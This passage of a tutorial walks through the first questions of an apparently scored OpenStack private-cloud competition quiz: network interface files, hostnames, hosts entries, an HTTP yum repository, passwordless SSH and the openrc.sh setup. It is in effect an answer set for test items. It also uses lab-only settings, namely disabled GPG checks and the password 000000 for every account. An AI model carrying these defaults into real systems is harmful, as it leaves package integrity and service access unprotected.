/etc/sysconfig/network-scripts/ifcfg-enp0s8 </span></span></code></pre></td></tr></table> </div> </div><p>And Edit the file according to the sheet.</p> <p>For example, the controller node is below:</p> <p><code>/etc/sysconfig/network-scripts/ifcfg-enp0s3</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">TYPE=Ethernet </span></span><span class="line"><span class="cl">PROXY_METHOD=none </span></span><span class="line"><span class="cl">BROWSER_ONLY=no </span></span><span class="line"><span class="cl">BOOTPROTO=static </span></span><span class="line"><span class="cl">DEFROUTE=yes </span></span><span class="line"><span class="cl">IPADDR=192.168.56.2 </span></span><span class="line"><span class="cl">GATEWAY=192.168.56.1 </span></span><span class="line"><span class="cl">PREFIX=24 </span></span><span class="line"><span class="cl">IPV4_FAILURE_FATAL=no </span></span><span class="line"><span class="cl">IPV6INIT=yes </span></span><span class="line"><span class="cl">IPV6_AUTOCONF=yes </span></span><span class="line"><span class="cl">IPV6_DEFROUTE=yes </span></span><span class="line"><span class="cl">IPV6_FAILURE_FATAL=no </span></span><span class="line"><span class="cl">IPV6_ADDR_GEN_MODE=stable-privacy </span></span><span class="line"><span class="cl">NAME=enp0s3 </span></span><span class="line"><span class="cl">UUID=d59932b3-b22e-4d55-893d-cdeb847bd619 </span></span><span class="line"><span class="cl">DEVICE=enp0s3 </span></span><span class="line"><span class="cl">ONBOOT=yes </span></span></code></pre></td></tr></table> </div> </div><p><code>/etc/sysconfig/network-scripts/ifcfg-enp0s8</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">TYPE=Ethernet </span></span><span class="line"><span class="cl">PROXY_METHOD=none </span></span><span class="line"><span class="cl">BROWSER_ONLY=no </span></span><span class="line"><span class="cl">BOOTPROTO=static </span></span><span class="line"><span class="cl">DEFROUTE=yes </span></span><span class="line"><span class="cl">IPADDR=172.129.1.1 </span></span><span class="line"><span class="cl">PREFIX=24 </span></span><span class="line"><span class="cl">IPV4_FAILURE_FATAL=no </span></span><span class="line"><span class="cl">IPV6INIT=yes </span></span><span class="line"><span class="cl">IPV6_AUTOCONF=yes </span></span><span class="line"><span class="cl">IPV6_DEFROUTE=yes </span></span><span class="line"><span class="cl">IPV6_FAILURE_FATAL=no </span></span><span class="line"><span class="cl">IPV6_ADDR_GEN_MODE=stable-privacy </span></span><span class="line"><span class="cl">NAME=enp0s8 </span></span><span class="line"><span class="cl">UUID=b02be511-361b-447f-b670-282850bce1f5 </span></span><span class="line"><span class="cl">DEVICE=enp0s8 </span></span><span class="line"><span class="cl">ONBOOT=yes </span></span></code></pre></td></tr></table> </div> </div><h4 id="start-ssh-service">Start ssh service</h4> <p>Start sshd on each nodes.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl"># systemctl start sshd &amp;&amp; systemctl enable sshd </span></span></code></pre></td></tr></table> </div> </div><h2 id="quiz">Quiz</h2> <h3 id="task-1-building-private-cloud-services-105-points">[Task 1] Building Private Cloud Services [10.5 points]</h3> <blockquote> <h4 id="question-1-basic-environment-configuration-05-points"><strong>[Question 1] Basic environment configuration [0.5 points]</strong></h4> <p>Using the provided username and password, log in to the provided OpenStack private cloud platform. Under the current tenancy, create two virtual machines using the CentOS7.9 image and 4vCPU/12G/100G_50G type. The second network card should be created and connected to both the controller and compute nodes (the second network card&rsquo;s subnet is <code>10.10.X.0/24</code>, where X represents the workstation number, and no routing is needed). Verify the security group policies to ensure normal network communication and ssh connection, and configure the servers as follows:</p> <ol> <li>Set the hostname of the control node to &lsquo;controller&rsquo; and that of the compute node to &lsquo;compute&rsquo;;</li> <li>Modify the hosts file to map IP addresses to hostnames.</li> </ol> <p>After completing the configuration, submit the username, password, and IP address of the control node in the answer box.</p> </blockquote> <p>The first quiz is eazy, just some steps can be done.</p> <p>At the controller Node:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# hostnamectl set-hostname controller </span></span></code></pre></td></tr></table> </div> </div><p>At the compute Node:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@compute ~]# hostnamectl set-hostname compute </span></span></code></pre></td></tr></table> </div> </div><p>Edit the file <code>/etc/hosts</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# vim /etc/hosts </span></span></code></pre></td></tr></table> </div> </div><p>Write these:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 </span></span><span class="line"><span class="cl">::1 localhost localhost.localdomain localhost6 localhost6.localdomain6 </span></span><span class="line"><span class="cl">192.168.56.100 Resource </span></span><span class="line"><span class="cl">192.168.56.2 controller </span></span><span class="line"><span class="cl">192.168.56.3 compute </span></span></code></pre></td></tr></table> </div> </div><p>Save it by <code>:wq</code>.</p> <p>Then send it to compute Node by <code>scp</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# scp /etc/hosts root@compute:/etc/hosts </span></span></code></pre></td></tr></table> </div> </div><p>Finally, all the operation is complete.</p> <blockquote> <h4 id="question-2-yum-repository-configuration-05-points"><strong>[Question 2] Yum Repository Configuration [0.5 points]</strong></h4> <p>Using the provided <em><strong>HTTP service address</strong></em>, there are <code>CentOS 7.9</code> and <code>IaaS network YUM repositories</code> available under the HTTP service. Use this HTTP source as the network source for installing the IaaS platform. Set up the yum source file http.repo for both the controller node and compute node. After completion, submit the username, password, and IP address of the control node to the answer box.</p> </blockquote> <p>Well, it&rsquo;s still a easy question.</p> <p>First, delete the old repo files in two nodes:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# rm -rfv /etc/yum.repos.d/* </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@compute ~]# rm -rfv /etc/yum.repos.d/* </span></span></code></pre></td></tr></table> </div> </div><p>Second, according to the question, we should create and edit a file named after <code>http.repo</code>.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# vim /etc/yum.repos.d/http.repo </span></span></code></pre></td></tr></table> </div> </div><p>write the information below into the file:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[centos] </span></span><span class="line"><span class="cl">name=centos </span></span><span class="line"><span class="cl">baseurl=http://Resource/centos </span></span><span class="line"><span class="cl">gpgcheck=0 </span></span><span class="line"><span class="cl">enabled=1 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">[iaas-repo] </span></span><span class="line"><span class="cl">name=centos </span></span><span class="line"><span class="cl">baseurl=http://Resource/iaas </span></span><span class="line"><span class="cl">gpgcheck=0 </span></span><span class="line"><span class="cl">enabled=1 </span></span></code></pre></td></tr></table> </div> </div><p>Then save it, and do the same operation in the <strong>compute</strong> node.</p> <p>But there&rsquo;s a quick way to use <code>scp</code> to copy the file to it.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# scp /etc/yum.repos.d/http.repo root@compute:/etc/yum.repos.d/http.repo </span></span></code></pre></td></tr></table> </div> </div><p>Then type the password of the root in compute node, the file will be sent.</p> <p>And of course, I will use the quick way to do the same executions.</p> <blockquote> <h4 id="question-3-configure-ssh-without-keys-05-points"><strong>[Question 3] Configure SSH without keys [0.5 points]</strong></h4> <p>Configure the <strong>controller node to access the compute node without a key</strong>, and then attempt an SSH connection to the hostname of the compute node for testing. After completion, submit the username, password, and IP address of the controller node in the answer box.</p> </blockquote> <p>It&rsquo;s also an easy and necessary operation we have to do, because we can make the <strong>controller node</strong> easier to transfer files and execute commands in <strong>compute node</strong>.</p> <p>So the first thing we have to do is generate a <code>ssh-key</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# ssh-keygen </span></span></code></pre></td></tr></table> </div> </div><p>Then press the <kbd>Enter</kbd> to confirm your requirements of generation according to the information in terminal.</p> <p>Normally you will see these:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Generating public/private rsa key pair. </span></span><span class="line"><span class="cl">Enter file in which to save the key (/root/.ssh/id_rsa): </span></span><span class="line"><span class="cl">Enter passphrase (empty for no passphrase): </span></span><span class="line"><span class="cl">Enter same passphrase again: </span></span><span class="line"><span class="cl">Your identification has been saved in /root/.ssh/id_rsa </span></span><span class="line"><span class="cl">Your public key has been saved in /root/.ssh/id_rsa.pub </span></span><span class="line"><span class="cl">The key fingerprint is: </span></span><span class="line"><span class="cl">SHA256:FYN98pz53tfocj5Q4DO90jqqN+lJdzXi9WKMFNjm4Wc root@Resource </span></span><span class="line"><span class="cl">The key&#39;s randomart image is: </span></span><span class="line"><span class="cl">+---[RSA 3072]----+ </span></span><span class="line"><span class="cl">| oo | </span></span><span class="line"><span class="cl">| . o=o | </span></span><span class="line"><span class="cl">| o*== | </span></span><span class="line"><span class="cl">| . +Ooo | </span></span><span class="line"><span class="cl">| S +BE+.| </span></span><span class="line"><span class="cl">| .+=*.o| </span></span><span class="line"><span class="cl">| ..o*=oo| </span></span><span class="line"><span class="cl">| .+o+o=.+| </span></span><span class="line"><span class="cl">| .++o *o..| </span></span><span class="line"><span class="cl">+----[SHA256]-----+ </span></span></code></pre></td></tr></table> </div> </div><p>And now it&rsquo;s time to put the key into the <strong>compute node</strong>!</p> <p>Just simply execute the <code>ssh-copy-id</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# ssh-copy-id root@compute </span></span></code></pre></td></tr></table> </div> </div><p>And type the password at the last time! You needn&rsquo;t enter the ssh password of the <strong>compute node</strong> anymore!</p> <p>Then this quiz is solved!</p> <blockquote> <h4 id="question-4-basic-installation-05-points"><strong>[Question 4] Basic Installation [0.5 points]</strong></h4> <p>Install the <code>openstack-iaas</code> package on <em><strong>both</strong></em> the <strong>control node and compute node</strong>, and configure the basic variables in the script files of the two nodes according to Table 2 (the configuration script file is <code>/etc/openstack/openrc.sh</code>).</p> </blockquote> <ul> <li>Table 2 Cloud Platform Configuration Information</li> </ul> <html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="ProgId" content="Excel.Sheet"> <meta name="Generator" content="Aspose.Cell 22.7.0"> <link rel="File-List" href="工作簿1_files/filelist.xml"> <link rel="Edit-Time-Data" href="工作簿1_files/editdata.mso"> <link rel="OLE-Object-Data" href="工作簿1_files/oledata.mso"> <!--[if gte mso 9]><xml> <o:DocumentProperties> <o:Revision>1</o:Revision> <o:LastSaved>2023-05-05T13:11:27Z</o:LastSaved> </o:DocumentProperties> </xml><![endif]--> <style> <!--table {mso-displayed-decimal-separator:"\."; mso-displayed-thousand-separator:"\,";} @page { mso-header-data:""; mso-footer-data:""; margin:0.7519685039370079in 0.7007874015748032in 0.7519685039370079in 0.7007874015748032in; mso-header-margin:0.3in; mso-footer-margin:0.3in; mso-page-orientation:Portrait; } tr {mso-height-source:auto; mso-ruby-visibility:none;} col {mso-width-source:auto; mso-ruby-visibility:none;} br {mso-data-placement:same-cell;} ruby {ruby-align:left;} .style0 { mso-number-format:General; text-align:general; vertical-align:bottom; white-space:nowrap; background:auto; mso-pattern:auto; color:#000000; font-size:11pt; font-weight:400; font-style:normal; font-family:"Calibri","sans-serif"; mso-protection:locked visible; mso-style-name:Normal; mso-style-id:0;} td {mso-style-parent:style0; mso-number-format:General; text-align:general; vertical-align:bottom; white-space:nowrap; background:auto; mso-pattern:auto; color:#000000; font-size:11pt; font-weight:400; font-style:normal; font-family:"Calibri","sans-serif"; mso-protection:locked visible; mso-ignore:padding;} .x15 { mso-number-format:General; text-align:general; vertical-align:bottom; white-space:nowrap; background:auto; mso-pattern:auto; color:#000000; font-size:11pt; font-weight:400; font-style:normal; font-family:"Calibri","sans-serif"; mso-protection:locked visible; } .x21 { mso-number-format:General; text-align:center; vertical-align:middle; white-space:normal;word-wrap:break-word; background:auto; mso-pattern:auto; font-size:11pt; font-weight:400; font-style:normal; font-family:"微软雅黑","sans-serif"; border-top:1px solid #000000; border-right:1px solid #000000; border-bottom:1px solid #000000; border-left:1px solid #000000; mso-diagonal-down:none; mso-diagonal-up:none; mso-protection:locked visible; } .x22 { mso-number-format:General; text-align:left; vertical-align:middle; white-space:normal;word-wrap:break-word; background:auto; mso-pattern:auto; font-size:11pt; font-weight:400; font-style:normal; font-family:"微软雅黑","sans-serif"; border-top:1px solid #000000; border-right:1px solid #000000; border-bottom:1px solid #000000; border-left:1px solid #000000; mso-diagonal-down:none; mso-diagonal-up:none; mso-protection:locked visible; } --> </style> <!--[if gte mso 9]><xml> <x:ExcelWorkbook> <x:ExcelWorksheets> <x:ExcelWorksheet> <x:Name>Sheet1</x:Name> <x:WorksheetOptions> <x:StandardWidth>2048</x:StandardWidth> <x:Print> <x:ValidPrinterInfo/> <x:PaperSizeIndex>9</x:PaperSizeIndex> <x:HorizontalResolution>600</x:HorizontalResolution> <x:VerticalResolution>600</x:VerticalResolution> </x:Print> </x:WorksheetOptions> </x:ExcelWorksheet> </x:ExcelWorksheets> <x:WindowHeight>9720</x:WindowHeight> <x:WindowWidth>20955</x:WindowWidth> <x:WindowTopX>360</x:WindowTopX> <x:WindowTopY>15</x:WindowTopY> <x:RefModeR1C1/> <x:TabRatio>600</x:TabRatio> <x:ActiveSheet>0</x:ActiveSheet> </x:ExcelWorkbook> </xml><![endif]--> </head> <body link='blue' vlink='purple' > <table border='0' cellpadding='0' cellspacing='0' width='697' style='border-collapse: collapse;table-layout:fixed;width:522pt'> <col width='210' style='mso-width-source:userset;width:157.5pt'> <col width='232' style='mso-width-source:userset;width:174pt'> <col width='255' style='mso-width-source:userset;width:191.25pt'> <tr height='19' style='mso-height-source:use21rset;height:14.25pt'> <td height='17' class='x21' width='210' style='height:12.75pt;width:157.5pt;'>Service Name</td> <td class='x21' width='232' style='width:174pt;'>Variable</td> <td class='x21' width='255' style='width:191.25pt;'>Parameter/Password</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td rowspan='7' height='131' class='x21' style='border-bottom:1px solid #000000;height:98.25pt;'>Mysql</td> <td class='x21'>root</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Keystone</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Glance</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Nova</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Neutron</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Heat</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Zun</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td rowspan='8' height='150' class='x21' style='border-bottom:1px solid #000000;height:112.5pt;'>Keystone</td> <td class='x21'>DOMAIN_NAME</td> <td class='x21'>demo</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Admin</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Rabbit</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Glance</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Nova</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Neutron</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Heat</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Zun</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td rowspan='2' height='36' class='x21' style='border-bottom:1px solid #000000;height:27pt;'>Neutron</td> <td class='x21'>Metadata</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>External Network</td> <td class='x21'>eth1 (depending on actual situation)</td> </tr> <![if supportMisalignedColumns]> <tr height='0' style='display:none'> <td width='210' style='width:157.5pt;'></td> <td width='232' style='width:174pt;'></td> <td width='255' style='width:191.25pt;'></td> </tr> <![endif]> </table> </body> </html> <p>So according to the Quiz, we have to install the package <code>openstack-iaas</code> at first:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# yum install -y openstack-iaas </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@compute ~]# yum install -y openstack-iaas </span></span></code></pre></td></tr></table> </div> </div><p>Then edit the file <code>/etc/openstack/openrc.sh</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# vim /etc/openstack/openrc.sh </span></span></code></pre></td></tr></table> </div> </div><p>With the information provided by the tables, we can simply write them into it by using <code>vim</code>.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">##--------------------system Config--------------------## </span></span><span class="line"><span class="cl">##Controller Server Manager IP. example:x.x.x.x </span></span><span class="line"><span class="cl">#HOST_IP=192.168.56.2 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">##Controller HOST Password. example:000000 </span></span><span class="line"><span class="cl">#HOST_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">##Controller Server hostname. example:controller </span></span><span class="line"><span class="cl">#HOST_NAME=controller </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">##Compute Node Manager IP. example:x.x.x.x </span></span><span class="line"><span class="cl">#HOST_IP_NODE=192.168.56.3 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">##Compute HOST Password. example:000000 </span></span><span class="line"><span class="cl">#HOST_PASS_NODE=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">##Compute Node hostname. example:compute </span></span><span class="line"><span class="cl">#HOST_NAME_NODE=compute </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">##--------------------Chrony Config-------------------## </span></span><span class="line"><span class="cl">##Controller network segment IP. example:x.x.0.0/16(x.x.x.0/24) </span></span><span class="line"><span class="cl">#network_segment_IP=192.168.56.0/24 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">...... </span></span></code></pre></td></tr></table> </div> </div><p>But for all the <code>PASS=000000</code> we can operate quickly by using the command.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vim" data-lang="vim"><span class="line"><span class="cl"><span class="p">:</span>%<span class="nx">s</span><span class="sr">/PASS=/</span><span class="nx">PASS</span><span class="p">=</span><span class="m">000000</span>/<span class="nx">g</span> </span></span></code></pre></td></tr></table> </div> </div><p>Then you will spot that there is a <code>#</code> in each of the front of the variables, we need to execute this <code>vim</code> command to delete the first character:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vim" data-lang="vim"><span class="line"><span class="cl"><span class="p">:</span>%<span class="nx">s</span><span class="sr">/^.\{1\}/</span>/ </span></span></code></pre></td></tr></table> </div> </div><p>Finally, we will get a file like this:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt"> 10 </span><span class="lnt"> 11 </span><span class="lnt"> 12 </span><span class="lnt"> 13 </span><span class="lnt"> 14 </span><span class="lnt"> 15 </span><span class="lnt"> 16 </span><span class="lnt"> 17 </span><span class="lnt"> 18 </span><span class="lnt"> 19 </span><span class="lnt"> 20 </span><span class="lnt"> 21 </span><span class="lnt"> 22 </span><span class="lnt"> 23 </span><span class="lnt"> 24 </span><span class="lnt"> 25 </span><span class="lnt"> 26 </span><span class="lnt"> 27 </span><span class="lnt"> 28 </span><span class="lnt"> 29 </span><span class="lnt"> 30 </span><span class="lnt"> 31 </span><span class="lnt"> 32 </span><span class="lnt"> 33 </span><span class="lnt"> 34 </span><span class="lnt"> 35 </span><span class="lnt"> 36 </span><span class="lnt"> 37 </span><span class="lnt"> 38 </span><span class="lnt"> 39 </span><span class="lnt"> 40 </span><span class="lnt"> 41 </span><span class="lnt"> 42 </span><span class="lnt"> 43 </span><span class="lnt"> 44 </span><span class="lnt"> 45 </span><span class="lnt"> 46 </span><span class="lnt"> 47 </span><span class="lnt"> 48 </span><span class="lnt"> 49 </span><span class="lnt"> 50 </span><span class="lnt"> 51 </span><span class="lnt"> 52 </span><span class="lnt"> 53 </span><span class="lnt"> 54 </span><span class="lnt"> 55 </span><span class="lnt"> 56 </span><span class="lnt"> 57 </span><span class="lnt"> 58 </span><span class="lnt"> 59 </span><span class="lnt"> 60 </span><span class="lnt"> 61 </span><span class="lnt"> 62 </span><span class="lnt"> 63 </span><span class="lnt"> 64 </span><span class="lnt"> 65 </span><span class="lnt"> 66 </span><span class="lnt"> 67 </span><span class="lnt"> 68 </span><span class="lnt"> 69 </span><span class="lnt"> 70 </span><span class="lnt"> 71 </span><span class="lnt"> 72 </span><span class="lnt"> 73 </span><span class="lnt"> 74 </span><span class="lnt"> 75 </span><span class="lnt"> 76 </span><span class="lnt"> 77 </span><span class="lnt"> 78 </span><span class="lnt"> 79 </span><span class="lnt"> 80 </span><span class="lnt"> 81 </span><span class="lnt"> 82 </span><span class="lnt"> 83 </span><span class="lnt"> 84 </span><span class="lnt"> 85 </span><span class="lnt"> 86 </span><span class="lnt"> 87 </span><span class="lnt"> 88 </span><span class="lnt"> 89 </span><span class="lnt"> 90 </span><span class="lnt"> 91 </span><span class="lnt"> 92 </span><span class="lnt"> 93 </span><span class="lnt"> 94 </span><span class="lnt"> 95 </span><span class="lnt"> 96 </span><span class="lnt"> 97 </span><span class="lnt"> 98 </span><span class="lnt"> 99 </span><span class="lnt">100 </span><span class="lnt">101 </span><span class="lnt">102 </span><span class="lnt">103 </span><span class="lnt">104 </span><span class="lnt">105 </span><span class="lnt">106 </span><span class="lnt">107 </span><span class="lnt">108 </span><span class="lnt">109 </span><span class="lnt">110 </span><span class="lnt">111 </span><span class="lnt">112 </span><span class="lnt">113 </span><span class="lnt">114 </span><span class="lnt">115 </span><span class="lnt">116 </span><span class="lnt">117 </span><span class="lnt">118 </span><span class="lnt">119 </span><span class="lnt">120 </span><span class="lnt">121 </span><span class="lnt">122 </span><span class="lnt">123 </span><span class="lnt">124 </span><span class="lnt">125 </span><span class="lnt">126 </span><span class="lnt">127 </span><span class="lnt">128 </span><span class="lnt">129 </span><span class="lnt">130 </span><span class="lnt">131 </span><span class="lnt">132 </span><span class="lnt">133 </span><span 